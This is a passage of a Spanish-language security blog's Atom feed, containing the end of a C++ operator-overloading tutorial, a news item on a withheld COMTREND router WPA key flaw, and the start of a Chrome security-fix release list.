0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;MiClase operator&lt;span style="color: #000040;"&gt;+&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;a, &lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;b&lt;span style="color: green;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Para definir la lógica del operador, en este caso basta con definirla como si fuese cualquier otra función:&lt;br /&gt;&lt;div #f8f9fa;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;MiClase operator&lt;span style="color: #000040;"&gt;+&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;a, &lt;span style="color: blue;"&gt;const&lt;/span&gt; MiClase &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;b&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;return&lt;/span&gt; MiClase&lt;span style="color: green;"&gt;(&lt;/span&gt;a.&lt;span style="color: #007788;"&gt;Num&lt;/span&gt; &lt;span style="color: #000040;"&gt;+&lt;/span&gt; b.&lt;span style="color: #007788;"&gt;Num&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Cabe destacar que que al sobrecargar un operador, como mínimo uno de los operandos debe ser un tipo definido por el usuario (generalmente una clase). No se puede sobrecargar un operador para que trabaje con dos tipos primitivos. Por ejemplo, alguien puede pensar en sobrecargar el operador “=” para poder asignar una cadena char* a otra cadena char* copiando el contenido como si fuese strcpy en lugar de asignar la dirección a la que apunta el puntero. Seria una idea valida, pero C++ no lo permite y por un motivo bastante claro. Si una operación tan simple como 1+1 puede tener distintos significados,&amp;nbsp; el compilador nunca estaría seguro de lo que 1+1 significa.  &lt;br /&gt;&lt;h3&gt;Miembros de la clase o función friend &lt;/h3&gt;Una de las dudas mas recurrentes es si un método debe ser miembro de la clase o una función friend. Pero primero que nada, que significa el especificador friend?  La razón por la cual existen métodos públicos, protegidos y privados radica en permitir al programador encapsular la implementación de su clase de la interfaz de esta. En la mayoría de las situaciones esto es esencial, pero hay casos específicos en el cual dicho esquema se torna un tanto rígido para lo que en realidad queremos hacer. Ahí es cuando entra el especificador friend, el cual permite que una función/clase tenga acceso total a otra clase de la cual no es miembro, saltando en cierta forma, el mecanismo de métodos públicos protegidos y privados.  La ventaja principal de las funciones friend es que la sintaxis suele ser mas legible dado que la llamada a un miembro es a.func() mientras que una función friend es simplemente func(). Dado esto el programador debe decidir cual de las dos sintaxis es mas legible para el caso en particular y optar por ella. La sobrecarga de un operador en la mayoría de las oportunidades requiere acceso a datos privados de la clase (siempre que no haya un miembro &lt;a href="http://en.wikipedia.org/wiki/Wrapper_function" target="_blank"&gt;wrapper&lt;/a&gt; mediante) y una sintaxis agradable a la vista. Esas son las razones principales por la cual generalmente las sobrecarga de los operadores van acompañadas del especificador de acceso friend.  No obstante los permisos otorgados a una clase/función no son hereditarios, transitivos ni recíprocos, es decir, casi igual que en la vida real:  &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Si tenemos una clase A que es amiga de B, las derivadas de la clase A no necesariamente tienen que tener acceso a la clase B. Es decir, la amistad no es hereditaria&lt;br /&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Si tenemos una clase A que es amiga de B, y B es amiga de C, A no tiene porque ser amiga de C. Es decir, la amistad no es transitiva.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Si tenemos una clase A que es amiga de B, B no tiene porque ser amiga de A. Es decir, la amistad no es reciproca.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Estas 3 reglas perjudican en cierta forma el concepto de orientación a objetos, y por esa razón una de las desventajas de las funciones friend es que requieren código extra para integrarlas completamente en un diseño OO. Las funciones friend deben utilizarse como una extensión de la interfaz y no mas, no debe abusarse. Por lo tanto la regla principal es usar miembros cuando puedas y funciones friend cuando debas.  Siendo que las funciones friend no son miembros de una clase, no pueden declararse virtuales, por lo tanto el enlace dinamico (&lt;a href="http://en.wikipedia.org/wiki/Dynamic_binding_%28computer_science%29" target="_blank"&gt;dynamic binding&lt;/a&gt;) no es posible directamente. Recordemos que para que un diseño sea orientado a objetos realmente, las funciones virtuales son necesarias, de lo contrario estamos hablando de un diseño basado en objetos.  Supongamos que queremos proveer una sobrecarga de operador que tenga la posibilidad de imprimir todo un grupo de clases. Dadas las limitaciones que vimos anteriormente, alguien podría pensar que la única forma es implementar la sobrecarga en cada clase, pero esto es un tanto incomodo, engorroso, y de seguro aumenta el costo de mantenimiento y con esto los posibles futuros fallos. Para resolver este pequeño problema, lo que se suele hacer es declarar una función friend de la clase base. Esta función simplemente delega el trabajo a otra función que es miembro que si es virtual, siendo esta ultima la que se reemplaza en cada clase derivada para realizar la tarea.  &lt;br /&gt;&lt;div #f8f9fa;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;class&lt;/span&gt; Base &lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp; &lt;span style="color: blue;"&gt;public&lt;/span&gt;&lt;span style="color: teal;"&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;friend&lt;/span&gt; ostream&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; operator &lt;span style="color: navy;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;(&lt;/span&gt;ostream&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; o, &lt;span style="color: blue;"&gt;const&lt;/span&gt; Base&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; b&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;span style="color: blue;"&gt;protected&lt;/span&gt;&lt;span style="color: teal;"&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;virtual&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; print&lt;span style="color: green;"&gt;(&lt;/span&gt;ostream&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; o&lt;span style="color: green;"&gt;)&lt;/span&gt; &lt;span style="color: blue;"&gt;const&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;{&lt;/span&gt; ... &lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;inline&lt;/span&gt; std&lt;span style="color: teal;"&gt;::&lt;/span&gt;&lt;span style="color: #007788;"&gt;ostream&lt;/span&gt;&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; operator&lt;span style="color: navy;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;(&lt;/span&gt;std&lt;span style="color: teal;"&gt;::&lt;/span&gt;&lt;span style="color: #007788;"&gt;ostream&lt;/span&gt;&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; o, &lt;span style="color: blue;"&gt;const&lt;/span&gt; Base&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; b&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp; b.&lt;span style="color: #007788;"&gt;print&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;o&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt; &lt;span style="color: #666666;"&gt;// Delega el trabajo a la funciÃ³n polimorfica&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp; &lt;span style="color: blue;"&gt;return&lt;/span&gt; o&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;class&lt;/span&gt; Derived &lt;span style="color: teal;"&gt;:&lt;/span&gt; &lt;span style="color: blue;"&gt;public&lt;/span&gt; Base &lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp; &lt;span style="color: blue;"&gt;protected&lt;/span&gt;&lt;span style="color: teal;"&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;virtual&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; print&lt;span style="color: green;"&gt;(&lt;/span&gt;ostream&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt; o&lt;span style="color: green;"&gt;)&lt;/span&gt; &lt;span style="color: blue;"&gt;const&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;{&lt;/span&gt; ... &lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt; &lt;div style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Esto se conoce como &lt;a href="http://www.parashift.com/c++-faq-lite/input-output.html#faq-15.11"&gt;Virtual Friend Function Idiom&lt;/a&gt;.   Por hoy dejo esto aquí para no liar a nadie, cualquier duda y demás, aquí, por &lt;a href="http://www.needofsecurity.com.ar/p/contacto.html" target="_blank"&gt;mail&lt;/a&gt; o en el &lt;a href="https://foro.elhacker.net/programacion_cc-b49.0/" target="_blank"&gt;foro&lt;/a&gt;&amp;nbsp;  Para la próxima sigo con los templates, q es otra de las causas de dolores de cabeza.  Saludos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-6032775849725518966?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/6032775849725518966/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/sobrecarga-de-operadores-en-c.html#comment-form" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6032775849725518966" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/6032775849725518966" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/sobrecarga-de-operadores-en-c.html" title="Sobrecarga de operadores en C++." /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8238556267613494971</id><published>2010-12-15T11:36:00.003-03:00</published><updated>2010-12-18T00:48:43.889-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="COMTREND" /><category scheme="http://www.blogger.com/atom/ns#" term="SeguridadWireless" /><category scheme="http://www.blogger.com/atom/ns#" term="Bugs" /><category scheme="http://www.blogger.com/atom/ns#" term="WPA" /><title type="text">Fallo de seguridad en el router COMTREND.</title><content type="html">Desde &lt;a href="http://www.seguridadwireless.net/"&gt;SeguridadWireless&lt;/a&gt; informan de la detección de un fallo de seguridad en el router COMTREND modelo CT-5365. Este  fallo de seguridad afecta a la generación de la clave WPA-PSK con que  dicho modelo de router viene configurado por defecto y permite averiguar  y/o predecir dicha clave de forma trivial.&lt;br /&gt;&lt;br /&gt;Así mismo han  comprobado y verificado que este fallo afecta a varios de los ISP que en  España distribuyen este modelo de router a usuarios domésticos.&lt;br /&gt;&lt;br /&gt;Mas información en &lt;a href="http://www.seguridadwireless.net/wpamagickey.php"&gt;SeguridadWireless&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;#&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Las compañías involucradas aparentemente han pedido que la información se mantenga en secreto por el momento. &lt;br /&gt;Muchos rumores han corrido bajo el puente, que hubo dinero en el medio, que hubo demandas y demas mentiras de gente que le gusta hablar por hablar.&lt;br /&gt;&lt;br /&gt;La realidad es que simplemente las compañías han pedido que las características técnicas del fallo no se publiquen mientras el fabricante puede solucionarlo.&lt;br /&gt;Verdaderamente la ética de seguridadwireless.net es incuestionable, y realmente que haya tantos rumores en contra demuestra que hay bastante envidia de parte de muchos, lo cual en cierta forma demuestra que el trabajo lo vienen haciendo bien, hecho del cual tampoco quedan dudas.&lt;br /&gt;&lt;br /&gt;Lamentablemente hay una realidad negativa en todo este asunto. Las compañías telefónicas tendrán que realizar un cambio masivo de equipos (millones de personas) para que el fallo pueda ser erradicado completamente independientemente de si el fallo se resuelve ya mismo por parte del fabricante. Por esa misma razón dudo mucho que los datos técnicos del fallo y las pruebas de concepto se liberen a corto plazo.&lt;br /&gt;&lt;br /&gt;Veremos como sigue esta historia, que por suerte va de la mano de personas respetables como las que conforman seguridadwireless.net; lugar donde el único objetivo y preocupación es mejorar la seguridad de las redes de todos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-8238556267613494971?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/8238556267613494971/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/fallo-de-seguridad-en-el-router.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8238556267613494971" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8238556267613494971" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2010/12/fallo-de-seguridad-en-el-router.html" title="Fallo de seguridad en el router COMTREND." /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-5376012700700013336</id><published>2010-12-14T14:19:00.005-03:00</published><updated>2010-12-14T14:21:06.315-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chrome" /><category scheme="http://www.blogger.com/atom/ns#" term="Google" /><category scheme="http://www.blogger.com/atom/ns#" term="Bugs" /><title type="text">Nueva versión de Chrome, nuevos bugs arreglados!</title><content type="html">Google ha publicado una nueva versión de su navegador Chrome, arreglando dos bugs graves así como también otros fallos menores. &lt;a href="http://googlechromereleases.blogspot.com/2010/12/stable-beta-channel-updates_13.html"&gt;Chrome 8.0.552.224&lt;/a&gt; esta disponible en los canales stable y beta.&lt;br /&gt;&lt;br /&gt;El primer fallo afectaba solamente a las plataformas Linux 64-bit debido a una validación errónea. Mientras que el segundo fallo se debía a los siempre molestos &lt;a href="http://en.wikipedia.org/wiki/Stale_pointer_bug"&gt;Stale pointers.&lt;/a&gt; Mas detalles se pueden encontrar en el &lt;a href="http://build.chromium.org/f/chromium/perf/dashboard/ui/changelog.html?url=/branches/552/src&amp;amp;range=68599:67652&amp;amp;mode=html"&gt;SVN log&lt;/a&gt;.&lt;br /&gt;&lt;span class="Apple-style-span" style="border-collapse: separate; color: black; font-family: 'Times New Roman'; font-size: x-small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Helvetica Neue',Arial,Helvetica,sans-serif; font-size: 12px; line-height: 15px;"&gt;&lt;span style="background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;Lista de bugs y recompensas:&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;/span&gt;&lt;ul style="color: black;"&gt;&lt;li style="background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;"&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;[64-bit Linux only] [&lt;/span&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=56449"&gt;&lt;span style="background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"&gt;56449&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;] &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;High&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt; Bad validation for message deserialization on 64-bit builds. &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Credit to Lei Zhang of the Chromium development community.&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;"&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;[&lt;/span&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=60761"&gt;&lt;span style="background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"&gt;60761&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;] &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Medium&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt; Bad extension can cause browser crash in tab handling. &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Credit to kuzzcc.&lt;/span&gt;&lt;/li&gt;&lt;li style="background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;"&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;[&lt;/span&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=63529"&gt;&lt;span style="background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"&gt;63529&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;] &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Low&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt; Browser crash with NULL pointer in web worker handling. &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Credit to Nathan Weizenbaum of Google.&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;"&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;[$&lt;/span&gt;&lt;span style="background-color: white; color: lime; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;1000&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;] [&lt;/span&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=63866"&gt;&lt;span style="background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"&gt;63866&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;] &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Medium&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt; Out-of-bounds read in CSS parsing. &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: italic; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;Credit to Chris Rohlf.&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background-color: white; border-collapse: separate; color: black; font-style: normal; font-weight: normal; line-height: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;"&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;[$&lt;/span&gt;&lt;span style="background-color: white; color: lime; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;1000&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;] [&lt;/span&gt;&lt;a href="http://code.google.com/p/chromium/issues/detail?id=64959"&gt;&lt;span style="background-color: white; color: #000099; font-style: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"&gt;64959&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;] &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt;High&lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"&gt; Stale pointers in cursor handling. &lt;/span&gt;&lt;span style="background-color: white; color: black; font-style: 